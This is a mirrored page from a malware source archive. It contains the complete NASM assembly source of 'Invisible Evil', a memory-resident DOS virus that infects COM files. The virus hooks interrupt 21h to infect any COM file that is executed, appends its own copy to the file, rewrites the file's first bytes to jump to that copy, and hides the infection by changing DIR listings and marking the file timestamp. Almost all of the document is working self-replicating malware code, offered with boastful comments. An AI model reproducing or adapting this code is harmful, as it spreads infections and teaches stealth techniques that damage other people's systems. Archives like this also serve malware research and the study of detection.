mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
332 lines
15 KiB
NASM
332 lines
15 KiB
NASM
; Virusname : Invisible Evil
|
|
; Virusauthor: Metal Militia
|
|
; Virusgroup : Immortal Riot
|
|
; Origin : Sweden
|
|
;
|
|
; It's a memory resident, stealth, infector of com files.
|
|
; It check for two nops a bit after the jmp to see if it's already
|
|
; infected or not, and to stealth it, it'll check the seconds.
|
|
; No destructive routine included in this version, perhaps to come(?)
|
|
; Um!.. well, enjoy Insane Reality issue #4!
|
|
; I think that's all for now, outa here..
|
|
;
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
; INVISIBLE EVIL!
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
virus segment
|
|
assume cs:virus,ds:virus,es:nothing
|
|
|
|
org 100h
|
|
start: db 0E9h,02,00,90h,90h ; Jmp to vstart
|
|
|
|
vstart equ $
|
|
call code_start ; call codie_startie
|
|
code_start:
|
|
pop si
|
|
sub si,offset code_start ; so we can use the lea command etc
|
|
jmp code_continue
|
|
|
|
db ' Our past is ' ; Lil' poem (?)
|
|
db ' our future! ' ; of mine
|
|
|
|
code_continue:
|
|
mov bp,si ; Now, put bp in si instead so bp's used
|
|
jmp load ; Jmp and go resident
|
|
|
|
old_21 dd ? ; Old int21 interrupt saved here
|
|
|
|
new_21: ; Our own, new one int21
|
|
cmp ax,4b00h ; Is a file being executed
|
|
je exec1 ; If so, damn it! INFECT!
|
|
|
|
dir_thang:
|
|
cmp ah,11h ; Find first
|
|
je hide_size ; Use stealth
|
|
cmp ah,12h ; Find next
|
|
je hide_size ; Use stealth
|
|
cmp ax,3030h ; Another copy trying to go resident?
|
|
jne do_old ; If not, do the old int21 thang
|
|
mov bx,3030h ; Show that we're already resident
|
|
do_old: jmp dword ptr cs:[(old_21-vstart)] ; Jmp old int21
|
|
exec1: jmp exec ; Try to infect
|
|
do_dir: jmp dword ptr cs:[(old_21-vstart)] ; See do_old
|
|
ret ; But return back
|
|
|
|
hide_size:
|
|
pushf
|
|
push cs
|
|
call do_dir ; get FCB (current)
|
|
cmp al,00h ; Is DIR being used (?)
|
|
jz undocumented_get_FCB ; If so, go on
|
|
jmp dir_error ; If not, get the fuck
|
|
; outa this place man
|
|
undocumented_get_FCB:
|
|
push ax ; push
|
|
push bx ; push
|
|
push es ; push (gaak! no pops)
|
|
mov ah,51h ; get FCB (location)
|
|
int 21h ; figure it out
|
|
mov es,bx ; get FCB (info)
|
|
cmp bx,es:[16h] ; check it
|
|
je fix_it_up ; if so, move on
|
|
jmp not_inf
|
|
|
|
fix_it_up:
|
|
mov bx,dx ; fixup
|
|
mov al,[bx] ; some
|
|
push ax ; shit
|
|
mov ah,2fh ; get the DTA
|
|
int 21h ; yeah, you do that
|
|
pop ax ; atlast, pop me babe
|
|
inc al ; check FCB (extended)
|
|
jz add_it ; ok, move on
|
|
jmp normal_fcb ; jmp normal_fcb
|
|
|
|
add_it:
|
|
add bx,7h ; yes, add it.. go ahead
|
|
normal_fcb:
|
|
mov ax,es:[bx+17h]
|
|
and ax,1fh
|
|
xor al,01h ; are the file's seconds
|
|
jz go_on_and_do_it_strong ; equal to "2"?
|
|
jmp not_inf ; If so, outa here
|
|
|
|
go_on_and_do_it_strong:
|
|
and byte ptr es:[bx+17h],0e0h ; subtract the size
|
|
sub es:[bx+1dh],(vend-vstart) ; how much? (*.*)
|
|
sbb es:[bx+1fh],ax ; yet another stealthed
|
|
not_inf:pop es ; we will..
|
|
pop bx ; we will..
|
|
pop ax ; pop you! pop you!
|
|
|
|
dir_error:
|
|
iret ; return to the one who
|
|
; called this thang
|
|
exec:
|
|
push ax ; push the stuff needed
|
|
push bx ; (as normally)
|
|
push cx
|
|
push dx
|
|
push di
|
|
push si
|
|
push ds
|
|
push es
|
|
|
|
infect:
|
|
mov ax,3d02h ; Open the file being
|
|
int 21h ; executed do that!
|
|
jc fuckitall ; If error, get the fuck
|
|
; out!
|
|
|
|
xchg ax,bx ; or.. mov bx,ax
|
|
|
|
push ds ; pusha
|
|
push cs ; push
|
|
pop ds ; pop!
|
|
|
|
mov ah,3fh ; Read from file
|
|
mov dx,(buffer-vstart) ; put in our buffer
|
|
mov cx,5h ; how much to read
|
|
int 21h ; do that
|
|
jc fuckitall ; If error, fuck it!
|
|
|
|
|
|
cmp word ptr cs:[(buffer-vstart)],5A4Dh ; Is it an .EXE?
|
|
je fuckitall ; If so, outa here..
|
|
|
|
cmp word ptr cs:[(buffer-vstart)],4D5Ah ; The other form?
|
|
je fuckitall ; (can be MZ or ZM)
|
|
; If so, outa here
|
|
cmp word ptr cs:[(buffer-vstart)+3],9090h ; Ok, is it
|
|
je fuckitall ; infect? If so,
|
|
; outa here
|
|
jmp next ; Move on..
|
|
|
|
fuckitall:
|
|
jmp homey2 ; Something screwed,
|
|
; outa dis thang..
|
|
next:
|
|
|
|
mov ax,5700h ; Get date/time
|
|
int 21h ; int me baaaabe!
|
|
|
|
mov word ptr cs:[(old_time-vstart)],cx ; save time
|
|
mov word ptr cs:[(old_date-vstart)],dx ; save date
|
|
|
|
mov ax,4202h ; ftpr to end
|
|
mov cx,0 ; get ftpr (filesize)
|
|
cwd ; or.. xor dx,dx
|
|
int 21h
|
|
jc fuckitall ; if error, fuck it!
|
|
mov cx,ax ; mov cx to ax
|
|
sub cx,3 ; for the jmp
|
|
jmp save_rest_of_len
|
|
db ' [INVISIBLE EVIL!] (c) Metal Militia/Immortal Riot '
|
|
|
|
save_rest_of_len:
|
|
mov word ptr cs:[(jump_add+1-vstart)],cx ; save jmp length
|
|
|
|
mov ah,40h ; write to file
|
|
mov cx,(vend-vstart) ; the virus
|
|
cwd ; from start
|
|
int 21h ; atlast the fun part
|
|
jnc fpointer ; no error(s), go on
|
|
jc homey ; fuck it!
|
|
|
|
fpointer:
|
|
mov ax,4200h ; move file pointer
|
|
mov cx,0 ; to the beginning
|
|
cwd
|
|
int 21h
|
|
|
|
|
|
mov ah,40h ; write the JMP the
|
|
mov cx, 5 ; the file (5 bytes)
|
|
mov dx,(jump_add-vstart) ; offset jump thang
|
|
int 21h
|
|
|
|
jc homey ; if error, fuck it!
|
|
|
|
mov ax,5701h ; restore old
|
|
mov word ptr cx,cs:[(old_time-vstart)] ; date/time
|
|
mov word ptr dx,cs:[(old_date-vstart)]
|
|
|
|
and cl,0e0H ; chance the file's
|
|
inc cl ; seconds to "2" for
|
|
int 21h ; stealth "marker"
|
|
|
|
|
|
mov ah,3eh ; close thisone
|
|
int 21h
|
|
|
|
|
|
homey: jmp homey2 ; outa here
|
|
db ' Dedicated to all the victims.. ' ; dedication note
|
|
|
|
homey2: pop ds ; pop
|
|
pop es ; pop
|
|
pop ds ; pop
|
|
pop si ; pop
|
|
pop di ; pop
|
|
pop dx ; pop
|
|
pop cx ; pop
|
|
pop bx ; pop
|
|
pop ax ; new virus-name
|
|
; popcorn virus?
|
|
jmp dword ptr cs:[(old_21-vstart)] ; heading for old
|
|
; int21
|
|
old_date dw 0 ; date/time
|
|
old_time dw 0 ; saving place
|
|
|
|
|
|
buffer: db 0cdh,20h,00 ; our lil' buffer
|
|
buffer2 db 0,0 ; plus these two
|
|
jump_add: db 0E9h,00,00,90h,90h; ; what we put instead
|
|
; of org. jmp
|
|
exit2: jmp exit ; get outa here
|
|
|
|
load: mov ax,3030h ; Are we already in
|
|
int 21h ; this users memory
|
|
cmp bx,3030h ; well, check it!
|
|
je exit2 ; if so, outa here
|
|
|
|
|
|
dec_here:
|
|
push cs ; push
|
|
pop ds ; pop
|
|
|
|
mov ah,4ah ; req. very much mem
|
|
mov bx,0ffffh ; ret's largest size
|
|
int 21h
|
|
|
|
mov ah,4ah ; ok, so now we
|
|
sub bx,(vend-vstart+15)/16+1 ; subtract the size of
|
|
jnc intme ; of our virus. If no
|
|
jmp exit2 ; error go on, else
|
|
; fuck it
|
|
intme:
|
|
int 21h ; int me! int me!
|
|
|
|
mov ah,48h
|
|
mov bx,(vend-vstart+15)/16 ; req. last pages
|
|
int 21h ; allocate to the virus
|
|
jnc decme ; no error, go on
|
|
jmp exit2 ; les get outa dis place
|
|
|
|
decme:
|
|
dec ax ; oh? a dec, no push/pop
|
|
; how glad i am :)
|
|
push es ; blurk! yet another push
|
|
|
|
mov es,ax ; set es to ax
|
|
jmp dos_own ; carry on comrade
|
|
db ' Greets to B-real!/IR ' ; greetings to our
|
|
; latest member, a
|
|
dos_own: ; friend of mine
|
|
mov byte ptr es:[0],'Z' ; this memory will
|
|
mov word ptr es:[1],8 ; have DOS as it's
|
|
; owner
|
|
inc ax ; opposite of dec, eh?
|
|
; yet another new-commer
|
|
lea si,[bp+offset vstart] ; copy to memory
|
|
mov di,0 ; (new block) xor di,di
|
|
jmp copy_rest ; go on
|
|
db ' It''s like this and like that and like thisena ' ; lil'
|
|
|
|
copy_rest:
|
|
mov es,ax ; es as ax
|
|
mov cx,(vend-vstart+5)/2 ; the whole thing
|
|
cld ; bytes, clr direction
|
|
rep movsw
|
|
jmp make_res ; now, make it resident
|
|
db ' It''s like that and like this and like thatena '; thang
|
|
|
|
make_res:
|
|
xor ax,ax ; atlast!
|
|
mov ds,ax ; put all shit to memory
|
|
push ds ; don't push me around :)
|
|
lds ax,ds:[21h*4] ; vectorswapping
|
|
jmp swap_sect ; (manually!)
|
|
db ' It''s like this.. ' ; by Snoop 'n Dre.
|
|
|
|
swap_sect:
|
|
mov word ptr es:[old_21-vstart],ax ; where's our old int21
|
|
mov word ptr es:[old_21-vstart+2],ds ; stored? well see here
|
|
pop ds
|
|
mov word ptr ds:[21h*4],(new_21-vstart) ; point to our virus
|
|
mov ds:[21h*4+2],es ; instead of old21
|
|
|
|
push cs ; no cmt.
|
|
pop ds ; to much 'bout 'em
|
|
; today, eh? :)
|
|
|
|
exit:
|
|
push cs ; no cmt.
|
|
pop es ; see above
|
|
|
|
mov cx,5 ; five bytes
|
|
jmp copyback ; keep on moving..
|
|
db ' Love to Lisa! ' ; To the girl i love
|
|
copyback:
|
|
mov si,offset buffer ; copy back org. jmp
|
|
add si,bp ; and run the org. proggy
|
|
jmp movdi_it ; yeah, les do that
|
|
db ' All i ever wanted.. ' ; Lisa, the one and only
|
|
|
|
movdi_it:
|
|
mov di,100h ; di = 100h
|
|
repne movsb
|
|
jmp lastshit ; atlast, soon the end
|
|
db ' All i ever asked for.. ' ; Love in eternality!
|
|
|
|
lastshit:
|
|
mov bp,100h ; bp equ 100h
|
|
jmp bp ; jmp to bp (SOF)
|
|
|
|
|
|
vend equ $ ; end of virus
|
|
|
|
virus ends
|
|
end start
|